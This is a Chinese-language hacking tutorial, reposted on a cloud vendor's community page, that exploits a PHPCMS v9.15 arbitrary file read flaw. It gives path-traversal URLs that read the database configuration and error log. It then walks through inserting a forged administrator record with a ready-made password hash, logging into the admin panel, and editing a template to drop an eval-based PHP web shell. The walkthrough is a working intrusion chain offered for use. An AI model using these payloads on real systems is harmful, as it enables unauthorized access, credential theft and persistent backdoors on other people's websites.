phpcmsv9.15以下任意檔案讀取漏洞

來源:互聯網
上載者:User

標籤:phpcms

http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php

成功讀取資料庫資訊如下:
650) this.width=650;" id="aimg_37214" src="http://sb.f4ck.org/data/attachment/forum/201406/21/002650azq2g2ag33bdaj6u.png" class="zoom" width="600" alt="002650azq2g2ag33bdaj6u.png" /> 

爆網站路徑:

http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php



650) this.width=650;" id="aimg_37216" src="http://sb.f4ck.org/data/attachment/forum/201406/21/002700f06ozzf9p40tu0y0.png" class="zoom" width="600" style="color:rgb(85,85,85);font-family:‘Microsoft Yahei‘, Tahoma, Helvetica, SimSun, sans-serif;font-size:14px;line-height:21px;white-space:normal;background-color:rgb(255,255,255);" alt="002700f06ozzf9p40tu0y0.png" /> 


開啟phpcmsV9資料庫並且找到admin表,向表中添加一條資料,因為我們沒法破解他的密碼那麼咱們就自己

添加一個使用者以便能夠登入後台操作:

Username:admin password: 748b4dfa3a7159c1eb1baa46f222f9b8 roleid:1 encrypt:C6mB9p

注意這幾項必須添負責登入不了的。應為這條記錄的意思是添加使用者名稱為admin,密碼為:creturn.com的超級管理員



650) this.width=650;" id="aimg_6883" src="http://sb.f4ck.org/data/attachment/forum/201207/29/111108pqyj89trq8pz2g9t.jpg" class="zoom" width="465" alt="111108pqyj89trq8pz2g9t.jpg" /> 

後台登入地址:localhost/index.php?m=admin

使用者名稱:admin 密碼:creturn.com

登入後台後我們找到介面-》模版風格-》選擇預設模版點擊詳情列表

650) this.width=650;" id="aimg_6884" src="http://sb.f4ck.org/data/attachment/forum/201207/29/111109v2100v7l0avcuksj.jpg" class="zoom" width="600" alt="111109v2100v7l0avcuksj.jpg" /> 

然後點擊裡面的search目錄下面的index.html右側的編輯

650) this.width=650;" id="aimg_6885" src="http://sb.f4ck.org/data/attachment/forum/201207/29/111109cyzai11ffiizifia.jpg" class="zoom" width="600" alt="111109cyzai11ffiizifia.jpg" /> 

修改其模版為:

  1. <?php $shell = ‘<?php @eval($_POST[cmd]);?>‘;file_put_contents(‘shell.php‘,$shell);?>

複製代碼

提交儲存

然後訪問:localhost/index.php?m=search

會在根目錄產生一個shell.php的一句話,我們串連看看

650) this.width=650;" id="aimg_6886" src="http://sb.f4ck.org/data/attachment/forum/201207/29/111109sl5lkox5b8l8d5o7.jpg" class="zoom" width="600" alt="111109sl5lkox5b8l8d5o7.jpg" /> 

可以看到已經拿到shell,記得把修改的模版改回去。

或者可以直接通過mysql資料庫及爆出的路徑寫一句話

本文出自 “0daysec” 部落格,請務必保留此出處http://0daysec.blog.51cto.com/9327043/1571395

phpcmsv9.15以下任意檔案讀取漏洞

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.